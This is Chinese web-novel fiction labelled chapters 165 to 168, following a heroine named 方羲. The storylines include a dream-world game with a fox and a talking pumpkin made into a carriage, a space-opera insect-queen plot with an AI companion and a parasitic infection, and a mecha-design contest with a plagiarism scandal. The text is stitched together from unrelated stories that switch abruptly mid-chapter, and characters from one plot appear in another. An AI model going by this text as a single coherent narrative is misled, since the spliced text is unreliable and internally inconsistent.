忽然被呼唤名字的造梦家，瞬间抬起淡色的眼眸。再看过去，一双黑色的眼睛无声地注视着她，似笑非笑。 “毕竟我们已经跟狐狸做了交易，总得物尽其用。”方羲说，“没有什么魔法是它不会的，让它教你怎么做。就当是第一次【禁术练习】吧？” 用风。 吹走所有人类。 停驻在原地的，犹豫不决的，落入蛛网陷阱的，只剩最后一缕余息的，所有的辨不清方向的人。 因为这是造梦家的职责。 第 165 章 第 165 章 只有看见过、探索过、践踏过或被领队开拓过的大地，踏樱才能将其纳入造梦领域的一环。 “我该怎么做？”踏樱抬起淡色的眼眸，平静地盯着这只狐首人身的造物，手里顺势凝现出一把洋伞，“蝴蝶小镇已经成为了我已知的一部分，所以不需要担忧我究竟能不能召唤出造梦场。” 狐狸黑瞳微微眯起，弯成两轮诡异的弯月：“哼，真是自信的人类，那就请你看清楚我的动作。” “我的生命力早已不复存在，所以我只为你演示一次。”狐狸高高地挥起法杖，橙红色的光芒在杖尾疯狂点亮，“你的风务必紧随其后。” 啪。 世界炸出两束烟火。 一束刻意放慢的橙色火焰，一束卷着樱色花瓣、轻却锋利。 圆弧形的狂风凭地升起，疯狂向外扩散，长出无数虚虚实实的手臂，拉住那些所有被变故惊到的人类。 空气也变成一片轻盈的花海。 方羲抬起手，取下一片落在自己头顶的花瓣，指尖轻轻一松。 “陛下，我已与苍穹号的数据核心建立链接。”盖亚语气里带上几分洋洋得意，“只要我在，您能够第一时间获取航行的最新消息。” 方羲此时呆在独属于她的休息室，将手腕的光脑摘下，惹得盖亚一声慌乱的惊叫，传出电流滋滋的乱响。然后方羲戴上新光脑，根本不需要她多加调整，这种光脑就会智能贴合到最合适的位置。 方羲平静地说：“只是换一个而已，难道你只能在一个光脑里呆着吗？” 盖亚立刻表示陛下你这是对我能力的质疑。在方羲戴上新光脑的那一刻起，它的声音就同时出现其中。 这么做只是免得以盖亚过于不着调的性格，早晚有一天克制不住自己，在众目睽睽之下讲话。 或许在方羲的威压之下，虫族不会过于探究背后的真相，但她不想露出可能令自己陷入被怀疑的劣势和弱点。 现在更换智能意识的人格类型还来得及吗？方羲漫不经心地想着。 方羲重新翻开书本，仔细摩挲着上面的文字，传来一阵极其细微难以察觉的凹凸感，文字无法解读，但直觉告诉她这似乎是件危险之物。 像是吸引某种存在的……饵食。 盖亚也随着方羲的举动扫描了一下书本的内容，但最后的说辞竟与卡蕊莎别无二致。 “陛下。”盖亚突然像是孩童一样困惑地询问，“为什么不将德里安杀死？” 方羲当时外露的杀意，连盖亚也能察觉到。 方羲不咸不淡地说：“德里安和卡蕊莎有一些相似，一个是外表凶悍内里乖顺的绵羊，另一个是详装无害的毒蛇，都留着不也挺有趣的吗？” “把所有废弃星的资料传输给我吧。”方羲说。 “是。”盖亚在零点零二秒内完成了方羲的指令，半透明屏幕上显示出上千个立体星球，只要点击其一，便会弹出相应的资料信息。 方羲耐心专注翻找了许久，终于标记出几个疑似她过去所居的废弃星。 根据细微之处一一对比排除之后，方羲看向最后剩下来的星球。 星球名：[未命名] 位置：第七星系与第八星系交界的屏障区域 等级：低等 侵蚀率：89.77% 注：没有任何研究价值的星球，由于位置特殊，缺乏卫星实景录像，不建议前往探索。 “难怪。”方羲忽然喃喃自语了一声。 这样高的异生种侵蚀率，而且星球地理位置怪异，所以没有受到科技的监视，也就让那群虫族有机可乘，将其作为实验基地。 最近方羲偶尔会翻阅下光脑的高权限机密文件，从中理解了蒙斯特虫族的行为特征：外露且无法克制的残暴、对精神类虫族有着极端的吞噬渴求与内部盛行的无女王论。 ……虽然最后一点似乎有待考证。否则在当时方羲彻底蜕化为女王之后，那些虫族的表现也不会如此恭敬。 方羲略微思索了一会，决定将剿灭蒙斯特虫族加入计划列表- 接下来的两日旅程中，方羲过得相当平淡，大多数时候一直在通过光脑吸收知识和信息，了解各支虫族军团的优劣势，再研究研究虫族衰败周期出现和恶化的原理。 但另一边的卡蕊莎等虫族，却遇到一件相当棘手的事情。 被方羲加入随行名单、活动范围也有所限制的利维，一开始情绪还颇为高涨，哪怕面对其他虫族阴阳怪气的嫉妒嘲讽，也依旧肉眼可见的兴奋……尽管方羲坐上星航之后似乎没想起过他。 但眼下他却陷入了长久的昏睡，短短一夜之间，左半边身体像烧焦了一样，化作类似脆弱黑炭的物质，散发出某种诡谲的不详气息，原本隐藏的薄翼此刻竟不受主人控制地穿透衣物张开，左边只剩下散发着浓郁雾色的骨架。 虫族的薄翼看似美丽易折，实际却锋利如刃、坚不可摧，亦是他们强大的武器之一。 眼下，利维所处的整个休息间内，已被一片深黑覆盖，隐隐约约之间似乎有什么吊诡生命在缓缓蠕动。 “已经查过监控记录。”安纳斯皱着眉头说，“他没有任何怪异举动，活动范围内也没有可疑之处，难道苍穹号上藏着异生的种子吗？” 他顿了顿又自我否定：“不，这不可能。” 异生种所到之处寸草不生，但最恐怖之处，不是死亡，不是无止境蔓延的侵蚀，它们是宇宙最伊始的怪诞病毒，没有自我意识却能让一切生命体堕入思想的深渊，甚至称不上是一个生命种族，唯一的行为驱动只有侵蚀和毁灭。 被吞噬的生命体依然存有意识，但只能清醒地看着自己身体扭曲变形，忍受无穷无尽的痛苦，沦为与自己种族完全相反的怪物，有时甚至因为多个意识同时存在，没有身体的操控权，只能顺应二十四小时无止境的侵蚀。 远古时代的异生种要比现在难缠棘手得多，经历数万年的时光才退化到现在这种地步，能被虫族轻易斩杀，但偶尔也会有意外。 尤其是遇见统领级别以上的异生种。 卡蕊莎身着特制的防护服，动作轻柔地从利维身上取了份样本，然后才说：“不管事出哪里，我们已经失责了。先将现场封锁，然后去告知陛下……” “——！”卡蕊莎猛然一顿，发现自己右手瞬间以惊人的速度染上了腐烂发黑，她当机立断用另一只手抽出刀刃，毫不犹豫将整只右臂砍掉，坠落在地面上彻底化作一片黑灰。 即使未伤及根本，卡蕊莎也感到意识传来一阵阵被强行拉扯的撕裂感，像是要把她的灵魂剥离自己的身体，一时忘记了下一步动作。 “卡蕊莎，先后退！”安纳斯厉声说，他的声音让卡蕊莎霎时间恢复清醒。 但临走之前她仍然瞥了眼利维的身体，没有丝毫的变化。 如果真的是异生种的入侵，能保持在这种没有变化的守恒状态吗？ 随后是一片短暂的混乱。 而方羲在突发之时，就已经捕捉到区域之间的微妙变化，然后盖亚随之同步转达具体情况。 方羲努力认真听了一会，慢慢发起呆来，中途无聊地吃了点零食。 这时光脑和门外都传来虫族的讯息，显然是要禀告消息。 盖亚也因为面对方羲过于平淡的态度卡顿了一下，试探性问：“陛下，你不去看看吗？” “……也对。”方羲慢慢回答，眼角瞥了一眼被她丢在桌子角落的书，想了想还在将它带上。 “陛下。”站在门口的是德里安，他正想开口解释事情来去经过，但对上方羲平静的眼神，仿佛将世界的一切看透进眼里，不言自明。 因此德里安自觉吞下多余的话语，等待方羲的指令。 “带我过去看看吧。”方羲风淡云清地说道。 “是。” 空气里异生种的气息极其明显，根本不需要方羲多加分辨，简直像是明晃晃的陷阱吸引方羲前去。 他们很快到达目的地，此时以利维身体为中心的区域，已被封锁起来，四周皆有高等虫族驻守。 方羲在封锁线停下，看见卡蕊莎正在忙碌的身影，她断掉的整只右臂还没有复原，扎着隐隐发灰的绷带，即便在这种情况下依然在工作。 “它被我们的能量激光所重创，现在情况尚在可控范围之内，但我们还在摸索这只异生种的蔓延规律，利维的意识可能也无法恢复正常。”德里安颇为愧疚自责地说，“抱歉，陛下。这是我的失责，苍穹号上不该出现这种变故。” 随着德里安的诚恳认错，其余虫族身体也纷纷传递出类似“不安”“自责”的情绪气息。 方羲没有说话，抬起手握住拳心，轻微地放开自己力量对星航的束缚。 霎时间，整片空间忽然被黑暗笼罩了一瞬，又极快地恢复光明。 在场所有虫族都在这瞬间感受到思维仿佛要被拉离身体的细微刺痛感，但在方羲力量的震慑下，这些潜藏于黑泥之中的异生种最终不敢太过嚣张。 确切地说，不是不敢，而是不能。 “看见了吗？”方羲声调没有丝毫起伏，仿佛只是在陈述一件日常小事，“苍穹号早就被异生种遍布满地了，现在面前显现的异状，就是它的根系处。” “但对我来说这也是个意外，我触发了异生的锚点。”方羲说，随手将书本丢在地上，如陷入沼泽一样逐渐下落消失不见，然后暴露出真实模样，无数双苍白布满血痕的手从黑泥中冒出来，左右摇晃摆动甚至相互殴打，显得有些滑稽可笑。 “苍穹号本身并没有异生种，但我们身上的细胞基因里却有，这很正常。”方羲说，“在种族基因天然压制之下，它们本不会生根发芽，看来幕后者将异生种作为可控的技术，很有趣，不是吗？” 就这么轻易放过它们吗？ 捕杀的念头再次在方羲脑海中浮现。 “唉——”方羲忽然长长地叹了口气，嘴里嘀咕着队友们有点跟不上她脑回路的话，“我一开始就没必要答应守卫嘛，真浪费银币……” 这么说着，方羲手里忽然召唤出一柄血色的、线条扭曲而怪异的长弓。 四名玩家在这一刻微微瞪大眼睛。 因为方羲的动作很快，决绝到根本让人反应不过来，就好像思考与行动之间没有丝毫停顿的间隙。 明明是血红色的弓，却在眨眼的瞬间凝结出一束光辉。 射向翩翩起舞的毒蝶。 而某些刚刚被狂风吹落地，正在查看地图的玩家，忽然发现上面好像少了一块。 【叮咚——】 【您摧毁了“蝴蝶小镇”！】 【恭喜您，您的游戏等级得到大幅度的跃迁！您不用再为自己的低等级发愁！当然，想必您的队友们才是最高兴的，因为他们暂时不必为懒惰的您刷任务啦！真是可喜可贺！】 第 166 章 第 166 章 方羲觉得这个造梦系统的性格有点让人摸不着头脑。 就像它刚刚顶着冷冰冰的机械音，进行了一番阴阳怪气的系统评价！ 这样倒也罢了，但它为什么还要在世界对话界面发一个“玩家白乌鸦已摧毁蝴蝶小镇”的广播！这样不就是让所有玩家都看到了吗！这让她一个社恐情何以堪！ 方羲问：“你能不能撤回刚刚那条广播？” 造梦系统很冷酷：“不能。” 方羲很心塞，这只造梦系统肯定是毒舌版的欧律狄刻！而且一点也不近人情！等出去副本之后，她一定要跟欧律狄刻投诉这个子系统！ 不过也可能是造梦场的异端数量太多，连带着系统的性格也变得不对劲起来。毕竟在正常世界里，机械生命永远服从于人类，而方羲只是一个小小的撤回要求，它们怎么可能会驳回呢？ 就在方羲和造梦系统吵架的时候，狐狸和队友们的目光一直落在面前那座被光辉烧灼的城镇，很久都没有移开视线。 “好吧，你说得对。”狐狸揉了揉自己可怜的耳朵，“我听见了，它们刚刚的确是在庆祝你的离开——虽然我只听到了一瞬，因为你的弓箭让它们的心情翻天地覆，现在一直在惨叫。说实话，我耳朵真疼。” “你要带我去哪里？”方羲突然问，她说话还是不太熟练，声调还是一如既往的僵硬。 雷诺兹掩饰住眼底的晦暗，竭力平静地说：“你需要去一趟特情部审查身份。” 方羲微微点头，也不再多言。 他并没有考虑到作为雷纳星人的“方羲”的身体素质，移动速度很快。方羲虽然看上去慢悠悠的，却能跟上雷诺兹的脚步。 雷诺兹记下了方羲的异状，心生疑惑。 “到了。”雷诺兹说，“进去吧。” 特情部顾名思义，专门处理虫族不方便官方出面的特殊事务，例如混血者和试剂研究。某种意义上来说，它可能比官方更方便接洽虫族高层的机密。 特情部大门没有标示任何字眼，踏入建筑内部发现其实很空旷，并没什么人在，但外部却有一批训练有素的守卫巡逻。 雷诺兹推开一扇门，示意让方羲跟着进去。 房间面积很大，但只摆设了一套桌椅和扫描机，以及悬浮在空中的半透明屏幕。 方羲随意扫了一眼四周，看见数十个属于科技的“眼睛。” 她被监视了。 方羲可以不必采用这种常规路线，但她仍然觉得用力量去掠夺事物，对自己来说实在太累了。 若非追求生存或特殊情况，方羲不会刻意与他人争斗。 [哦？这个混血者怎么这么狼狈？] [呵……估计是叛逃出去的，混不下去才想着回来。] 雷诺兹的耳钉光脑传来同伴的议论声，他神色不变，对方羲说：“把你的光脑给我。” 命令式的语气，不容任何反对的意图。 方羲顿了顿，意识到他指的是手环，犹豫不舍地把新玩具递给他。 雷诺兹接过放在扫描台上，屏幕瞬间弹出无数密密麻麻的数据代码。 [数据损坏了百分之七十，果然是叛逃者之一。] [不过……这个混血者相貌这么特殊，怎么我一点印象也没有？] 雷诺兹坐在方羲对面与之对视，胸口的酥麻感愈发强烈。 顿了顿，他才说：“既然回到了虫族这边，接下来就请你履行职责，我们也不会再容许第二次叛逃。” 方羲安静回望，缓缓点了点头，发现他们似乎并不在乎自己的来路，也没有处罚的意图。 “光脑可以修好吗？”方羲问。 “你也知道它坏了？”雷诺兹挑眉，像被阳光灌溉过的金色眼眸死死盯着她，冷声道，“等会给你配置一款新的光脑。” [等等，雷诺兹。她不是A07号混血者。我全部翻找了一遍，数据库甚至没有这个相貌的混血者。] [难道她是从别的星球偷渡过来的？真少见啊，联盟现在居然还敢私自做基因改造？] 雷诺兹微微一惊。 “我什么时候可以走？”方羲渐渐失去耐心了。 雷诺兹拿起光脑，却没递给方羲。 方羲说：“给我。” 雷诺兹微微皱起眉头，说：“我强调过了，现在去给你拿一款新的。”尽管嘴上这么说，在方羲的注视下还是不又自主还给她。 方羲奇怪地说：“但这也是我的东西。” 雷诺兹瞥了方羲一眼，没说什么。 转移至另一处房间，其中陈列着许多款光脑。雷诺兹没有给方羲挑选的机会，而是直接拿了一款同为手环式的给她。 [雷诺兹，你对待他们的脾气什么时候变得这么好了？算了，反正也不重要了。] “我们安排了一名虫族负责你接下来的居所和日常问题。”雷诺兹屏蔽掉嗅觉器官，好让自己受的影响降低，“狄莉斯·白朗蒂，她很快就会过来。” [呵，就这么随便放过她了？] [内森尼尔，克制下你那无聊的恶趣味吧，要知道德里安阁下现在正着手撕毁混血条约。虽然我也无法忍受这些冒牌货存在了，哪怕是承受精神崩溃的死亡，也好过背叛的沉沦。] 随后，雷诺兹像是迫不及待似的，迅速远离方羲，只留下方羲独自在特情部大门口等待。 等待途中，方羲漫不经心地想着：审查比她想象中的要敷衍。 很快，狄莉斯就出现在她面前，冷冷地注视着她。 狄莉斯虽然是一名处于成长期的雌虫，但生来作为战斗类虫族，如今已被列入实习战斗成员之一。 她的外表类似于人类少女，可身形依然要比方羲高一些。烈焰般的红色长发利落地扎成马尾，眼睛也是纯粹的正红色，但方羲注意到她眼角处有一道浅浅的伤疤，约有脸部的三分之一的长度，反倒为她增添了几分凌厉。 按虫族传统的审美观来说，越鲜艳的颜色能更受欢迎。 狄莉斯上下打量了一番方羲，确认方羲只是一个没有攻击力的混血者，才说：“跟我来吧。” 混血者有特定的居所，远离虫族密集活动的地带。但由于R27星处于非常时期，绝大部分混血者已被送往其他星球。 环境简约大方，比起虫族的区域，这里绿色植被更多。一路看下去赏心悦目，的确是不错的理想居所。 “记住这个门牌号。”狄莉斯淡淡道，“每日的用餐会有机器自动送上门来，有什么要事直接用光脑告诉我，刚刚塞奇利奥长官已经把我的账号ID转发给你了。另外，这附近除了你，并没有其他混血者居住。” 方羲点点头，意思是这片区域都属于自己了。 顿了顿，狄莉斯才继续说：“但是我还是友好地提醒你，最好不要随意四处乱走。我平时大部分时间都需要执行任务，没这么多闲工夫看管你。” 这些话狄莉斯本可以不必说，但看见方羲平静无波的眼睛，下意识多说了几句。 随即狄莉斯微微一愣，也隐约反应过来自己的态度不太对劲。 她精神状态要比其他虫族更稳定，才被雷诺兹安排了这个任务。但狄莉斯心中也怀着对混血者的排斥和恨意。根本不会在意方羲的死活，甚至巴不得这类存在尽早灭绝才对，怎么可能去提醒方羲注意自身安危呢？ “如果你因为自身原因遭遇了什么意外，虫族也不再对此负责，多一个少一个混血者也没什么区别。” 狄莉斯厌恶地瞪了一眼方羲，毫不掩饰自己的情感，愤愤然离开。 方羲看着她的身影渐渐远去，心情并未因她糟糕的态度起一丝波澜。 推开房门，一厅两室，基本的生活设施都很齐全，没有一点人居住过的痕迹。 方羲翻了翻衣柜，随便拿了一身休闲服，到浴室洗了个澡。 镜子里倒映出方羲精致的脸庞，打湿的白发紧贴着肌肤。她扯了扯自己脸，竟对自己的外貌感到迷茫陌生。对着镜子盯了一会，才缓缓收回视线， 方羲换上新衣服，躺在沙发上，习惯性陷入沉睡- 次日中午，方羲被按时配送的机器吵醒，睡眼惺忪地打开门，接过午饭和错过的早餐放到餐桌上。 说起来，她的确非常久没有进食过了。 然而方羲沉默地看着餐桌上的一大碗米饭，一盘翠绿新鲜的蔬菜，两道切得一丝不苟的普通肉食，以及已经冷透的牛奶和精致糕点。 虫族非常体贴地按照雷纳星人的食谱给方羲准备食物，可惜这点食物蕴含的能量对方羲来说约等于无。 本着食物珍贵的原则，方羲最终还是坚持一口口吃完。 方羲重新打开光脑捣鼓，而个人信息界面依旧是罗萨的名字。 点开R27星的全局地图，发现统共划分为赤月、星斗、永夜、白昼、黄昏和太阳之城六个大区域，其余还有一些未命名的荒区地带。 再将地图缩小，直到以星球为单位，屏幕显示R27星位于第七星系。 玩了一会三维地图，方羲退出点击进入星网。 星网功能繁多，方羲比较在意其中的实时联机聊天。一大片消息纷纷砸来，一般人看得眼花缭乱。但方羲却能快速扫过提取信息，不过绝大多数价值不高。 [有没有内部人员透露透露，联盟缉获数名高等虫族这个消息属不属实啊？] [笑死，“数”这个量词就用得很巧妙。] [最近联盟居然敢主动朝虫族开战，不是我多心，虽然虫族自从没了女王就走下坡路了，但是联盟这样是不是太得意忘形了啊？] [这位朋友倒也不必这么自卑，想想这些年来虫族一直在退让，甚至都卖了不少星球给我们了，指不定内部早就是个空架子了。] [额，难道你们忘记虫族都霸占三四个星系了，少那么几个貌似没什么区别吧……] 嗯？方羲忽然后知后觉发现，这些对话似乎没有一个来自虫族，于是查了查，才发觉她现在作为雷纳星人，只能链接联盟的星网。 只不过成千上万条评论里，没有一点与混血者沾边的信息。 打了个哈欠，刚刚吃完的午饭一点用也没有，沉睡还能恢复微量的精力。 方羲决定出门四处走走，此时的她已经完全忘记狄莉斯的友善提醒。 出门之前，无数黑线缓缓蔓延，穿越房门缝隙，极快地遍布附近整片居所。 方羲将手微微握紧。 刹那间，所有监视器陷入一片浓稠的黑暗。 “为什么？” 有些魔法只能变幻出虚假的一瞬……但双手却能创造出更长远的真相。 “好吧，你说的也有道理。”狐狸挠挠头，难得没有反驳方羲的话。 方羲微微一笑，忽然目光慈祥地看向踏樱和徐万念。 她们同时愣了愣，心底闪过一阵极其不详的预感。 “那么——” “我们先种一颗南瓜吧！” “在种南瓜之前，第一步当然是挖土！” 第 167 章 第 167 章 嘀嗒。 被闲置在树墩的怀表，发出细微的响声，时针与分针相隔九十度的三点，怀里抱着一粒黄白色的籽。 如你所见，我是一粒南瓜种子。 不是平庸的苹果种子，也不是狡诈的香蕉种子，更不是娇气的草莓种子。 我是一粒睿智、沉稳、扎实的南瓜种子。 不瞒你说，我的心愿是长成一个成熟的大南瓜，被人类做成清炒南瓜丝、南瓜炖排骨、南瓜焖饭或者别点什么，最后被一口口吃个干净，顺利地了却此生。 但我现在不是很懂我的主人想干什么…… 她正在强迫一只身高一米六的人类，为我挖出一个坑。 这个人类真惨啊。 铲子是生锈的，太阳是猛烈的，队友是嗑瓜子看戏的。 我感觉她的地位可能是这几个人里的最低端，不仅要干活，还要忍受天上那只眼珠子，在她头顶发出像反派一样桀桀桀的笑声。 还笑得特别大声。 #防御测试追平纪录！# #再创奇迹，满分碾压！# 复赛的热搜一个接一个上，蹲在赛场外等着采访的记者们，等了半天，也没见机甲师们出来。 正一头雾水，就看到方绮被带了出来，离开的人脸色都不好看。 机甲师们迫不及待分享瓜，记者们都不用多打听，就被爆料炸得目瞪口呆。 “什么？方绮抄袭，生机机甲新设计涉嫌抄袭？！” 谭会长捏了捏眉心，看着方羲叹了口气，“好孩子，委屈你了。” “协会也是被骗了。”方羲道，“但毕竟，假的就是假的。” 要是她真的只有光脑稿件，拿出设计图，反而会证明她“抄袭”，正中方绮下怀。 然而，方羲过去有了改造想法，更喜欢直接动手，养病时没法做设计，才开始画图。方绮画图的时间，无论如何也越不过模型去！ 萤火星没有能检测模型的仪器，水蓝星倒是有，但方羲只有一个模型，贸然去检测，被大伯一家提前知道模型的存在，毁了模型就糟了。 方绮非要在众目睽睽之下恶心人，方羲正好顺水推舟。 抄袭的脏水，谁爱用，就让谁拿着好了。 谭会长没想到眼前看起来刚成年的小姑娘，这么沉得住气又思考透彻。 “是啊，自己的实力才是真的。” 谭会长拍拍方羲肩膀，“接下来专心比赛，协会会给你一个满意答复的。” 送走谭会长，方羲看着吃瓜的机甲师们笑了笑，“谢谢大家为我做见证。我还有约，大家还想了解设计的话，接下来有空我会开直播聊聊。” 机甲师们惊得结巴了，“真、真的？”好大方！ 方羲笑着点点头，机甲师们本就义愤填膺的态度更热烈了。 “这种败类谁见了都该骂一顿！方机甲师别伤心，下场比赛见！” 方羲和众人告别，顺手点开光脑，更新大赛平台上这场比赛设计的名称。 方羲瞥见直播平台的图标一闪一闪的，消息又爆满了。定制请求多了不少，但方羲看来和之前没什么区别。 她在修仙界一符难求，这样的情况再正常不过。 手头有订单要做，方羲不着急约下一个改造，暂时没管。 比赛间隔时间不长，让她跑来跑去改造，或是让人寄过来，都有些麻烦。 邮件里，最新的比赛成绩通知已经到了。 【选手方羲，恭喜您满分通过复赛第一场，暂列复赛积分榜第一！第二场比赛将于……】 方羲戳了戳屏幕上“暂列”两个字。 嗯，还有两场比赛，就能把这两个字去掉了。 复赛第二场安排在三天后，复赛没有直接的奖金，更多的是直播收益和人气宣传，方羲现在不急着用奖金还债，倒也不在意。 距离约好的改造订单时间还有一会，方羲搜出附近的天然食物餐厅，设好导航，眨眼从赛场消失。 看着方羲离开，吃瓜到现在的机甲师们再搜索方绮的登记信息，发现已经被标注“版权存在争议”暂时下架了。 “等协会和星警那边正式出了公告，就彻底下架了吧。活该！” “好家伙，果然正版和冒牌货就是不一样，方羲居然连比赛用的新技术都肯直播讲解啊？不怕我们超过她？” “就是，公开直播就有人不愿意了，更别说详细讲解……有版权保护不可能免费用，但学到的知识就是自己的了啊。积累的知识多，触类旁通更容易突破，要不然怎么大家都想去大公司？还不是想多学点技术！” “所以……方绮那么小气的人，为什么会传闻方羲的第一来路不正？还有说抄袭设计的？看她俩这成绩，很明显不正常吧！” “我初赛和他们在一个考场，好像方绮还偷过工具箱！惯偷啊！” “听着姐姐妹妹叫得亲，背后捅刀狠的要命，太可怕了，抄袭狗果然不是好东西！” 唏嘘感叹声中，水蓝机甲系的同学们头都快抬不起来了，被愚弄和丢人的感觉糟糕透了。 有人咬牙切齿，“都怪方绮那个抄袭狗！她骗得我们好惨啊！” “对！我要找学校反应！把方绮赶出去！” “我之前跟风传过方羲的坏话，我要去星网狠狠骂方绮！” #机甲大赛选手涉嫌抄袭# #生机机甲新设计抄袭# 负面爆料接连登上热搜，位于水蓝星中心区域的生机机甲大厦高层，鸦雀无声。 下属战战兢兢敲门，“老板，最新加速部件预售退款率升到30%了！” 屏幕上，方羲离开机甲竞技场时接受采访的一幕反复播放。 “不做亏心事不怕鬼敲门，生机机甲集团作为老牌设计企业，更应该以身作则，应该不会包庇抄袭者吧？” 少女眼睛黑亮，望着镜头，像看透了对面所有的算计。 坐在主位的男人脸色阴沉，通讯投影里的中年人冷哼一声，“姓时的那个臭石头最近在严查，你们又在给我惹事！成事不足败事有余！小绮保不住了，老大，该发公告就发，她会明白的，不做设计，回家做别的也一样。成峰，接下来的比赛……” 方成峰道，“父亲，大哥，一轮比赛而已，比赛还没结束，第一只会是我的。另外，我觉得方羲的改造度很不正常。” 大伯一家焦急应对舆论危机，星网上的热闹，方羲路过赛场门口，从记者们身上也感觉到了。 简单做了个采访回应抄袭事件，悬浮环慢悠悠走过街头，一抬头，就看到远处金灿灿的生机机甲大厦外墙，变了个模样。 最新的“天使之翼”广告紧急撤下，换成生机机甲对抄袭的回应。 “……我们在核查中出现了失误，此前也未接到版权人的异议，在此致以诚挚的歉意。天使之翼加速部件将暂停上市，所有预售进行退款，对版权人造成的影响将赔偿……” 大伯一家甩锅甩得倒是快，亲女儿犯错，也只肯担“核查失误”的名声，黑锅只有方绮背了。还顺便指责了方羲可能在故意陷害搞事。 呵。 拜托乔炎调查的飞船事故，只找到一点线索，还没有结果。 方羲摇摇头，不让这些事影响心情。前方飘来一股烘焙甜香，方羲眼前一亮。 甜点店建在赛场附近大厦底层，以糖果组成招牌和海报放在窗口。 “大脑工作所需的糖分，竞技后的加油补充！” 简单的普通甜点外，做成机甲造型的蛋糕、武器造型的小甜点……连店里一个个糖果色的气球里，也放着机甲模型。 进店的小孩子们满眼放光，眼巴巴想要一个。 方羲看着托盘上展示的小甜点，也纠结起来。 草莓果汁软糖，草莓挞，还是草莓蛋糕？ 看一眼余额，方羲底气十足：成年人全都要！ 扫了光脑，托盘自动旋转准备送餐。 方羲在店里坐下，不经意扫过窗外。 一个颀长身影走出竞技场，银白短发被风轻柔吹过，身姿挺拔如竹。他侧身坐进飞行器，宽肩窄腰的优越比例格外惹眼。 身材不错。 隔壁宗剑修日日挥剑，师弟要不是血脉限制，大约也能练出这样的好身材。 方羲欣赏了一瞬，礼貌地收回目光，专注于她可爱的小甜点们。 草莓挞带着饼干酥脆，糖霜清甜，草莓粒一点点微酸，越发勾起食欲。绵软的草莓蛋糕里添加了果酱，一莓多吃。灵气美味，双倍快乐。 将蛋糕上完整的草莓留到最后，一口吃掉，方羲愉快地弯起眼睛。 方羲打包一份果汁软糖带走，走到约好的飞行器俱乐部，就听见有人激烈怼人。 “怎么，生机机甲欺负人还不让说了？方机甲师年轻好看技术牛，有人酸变形了吧？就你们生机机甲二少和小公主该得第一？抄袭狗滚啊！少在这里受害者有罪论！” 展示牌后，扎着双马尾的年轻女孩气得厉害，脸颊都鼓起来一颤一颤的。 方羲忍不住笑了。 她知道大伯一家在暗中影响舆论，懒得管这些故意影响她心情的手段，但看见有人真心实意为她说话，好像忽然又吃了块小蛋糕。 钱佳嘉愤愤和网友对喷完，一抬头，刚在大赛直播看过的漂亮小姐姐就在眼前，含笑望来。 钱佳嘉脸腾地红了，“神、神仙！咳咳，方大佬！” 方羲：倒也不必。 “抱歉，我来晚了。钱钱对吗？我是方羲，叫我名字就好。” “没有没有，是我来早了！”钱佳嘉尴尬地伸出手，“我是钱钱，钱佳嘉！方羲……我叫你方姐吧！需要改造的飞行器在下面，请跟我来。” 俱乐部每一层都是一处独立的房间，钱佳嘉打开门，平层高而空旷，一整层楼修成“D”字形，直道弯道都有，直道约有三百米长，零星障碍物散落在柔软的缓冲地面上。 和机甲竞技场测试区比起来有些小，但这里竞速的飞行器，也不是动辄十几米的大家伙。 一进门，门口停着一排黑色梭形飞行器，其中两台尾翼颜色略有差异，明显经过改装。 钱佳嘉摸了摸飞行器表面，“这次希望您任选这七台流光飞行器一台进行改造，能达到同样效果的话，每多改造一台加一万改造费。方姐自带材料或者现在去买都行，我也准备了些，不知道能不能用。” 飞行器后方有个小冷藏柜，一看就是储存机甲材料的，还带着材料商店的标记。 方羲神识查看完飞行器，扫过柜子心里就有了数。刚拿起一瓶提取液，余光瞥见钱佳嘉一脸欲言又止。 “怎么了？” 钱佳嘉小圆脸皱成一团，“我不用避出去吗？” 她纠结半天了！ 方羲好笑，“没必要。你有什么要求，也可以一起说说。” “真的？？？”钱佳嘉发觉表现得太激动，干咳一声，“那个……能用雨光草吗？刚刚那场比赛银色的雨光草太好看了！流光开起来也带银光，绝配！当然当然，还是方姐的改造为主。” 方羲：……行吧。这什么和雨光草的不解之缘。 谁来给她解释解释，一个南瓜，为什么这么执着于报菜名？ 或许她应该别那么早给南瓜刻出嘴巴…… 方羲礼貌地说：“我不打算把你拿来做菜。” “什么！” 巨型南瓜瞬间发出不敢置信的尖叫，但她很快闭上了嘴，因为感觉自己刚刚那样实在有点失态，于是安静下来想了想，也礼貌地问：“那，亲爱的主人，你现在是在干什么？” “白鸦。”底下忽然传来踏樱的声音，方羲低头一看，队友们已经帮她把车轮、车顶，车把、车轴、椅子、绳子之类的零件雏形做好了，就等着她下来“修改”和“组装”。 南瓜也低头看了看，心底缓缓冒出一阵不详的预感。 方羲拍了拍南瓜的脑袋，说：“别傻了，我要把你做成一辆马车。” 南瓜：“……” 不要啊！ 她的夙愿是成为一盘南瓜披萨、大蒜炒南瓜、南瓜蒸肉饼，而不是一辆破烂马车啊！ 第 168 章 第 168 章 大南瓜光荣升格为南瓜马车。 虽然她有点不情愿，但看在主人的份上，南瓜还是静静地接受了这个命运。 车厢主体是一颗大南瓜的马车，搭配淡金色的车把和车轮，华丽的镂空门扇和帷幕，还有翠绿色的叶子顶部——事实上，南瓜拒绝了四个人类辛苦制作的木头部件，因为那和她的审美不符，而且主人的状态好像很疲惫，于是南瓜自己长出了所有与马车相关的部件。 她真是一颗独立自主的好南瓜。 众人面面相觑。 这南瓜不仅会说话，还会自己给自己“组装”啊……呃，他们是觉得，一个傀儡在还是半成品的状态下，居然就已经具备了意识和人类语言能力，是不是太惊悚了一点？ 好在他们四个都是见过大风大浪的人，而且感觉在收藏家身上不管发生什么奇迹，好像也不是值得大惊小怪的事，所以四人只是微微惊讶了一瞬，心情就很快恢复了平静。 方羲也感到一丝震惊！她忍不住转头看了看那堆在野草地懒洋洋玩耍的不省心的人偶们，又看了看这只成熟稳重的南瓜，顿时深感欣慰。 秦淮月有点好奇地问：“收藏家，这只傀儡……似乎自主生长能力很快。” “因为它吸收了时光机残余的能量。”方羲走到树墩旁边，把那只怀表捡了起来，左右晃悠了一下，上面的时针与分针依然相隔一百二十度。 但现在已经是傍晚七点。 制作时间比预想中早了很多……方羲旁边飘着一朵铃兰花灯，她端详了这个已经停止运作的【世界第三十一台时光机（已损坏版）】，心想这玩意真好用。 就是不知道在人偶里加入时间的元素，未来会引发什么样的回旋镖。 听见方羲的轻笑，方绮气得咬牙，“到现在都没人找她下订单，成绩第一没人认可，有她丢人的时候！” 方绮切换页面，再看一遍方羲空荡荡的商品页安慰自己，刚打开，她就愣住了。 【选手方羲商品数：1（已售出） 商品简介：飞行器改造 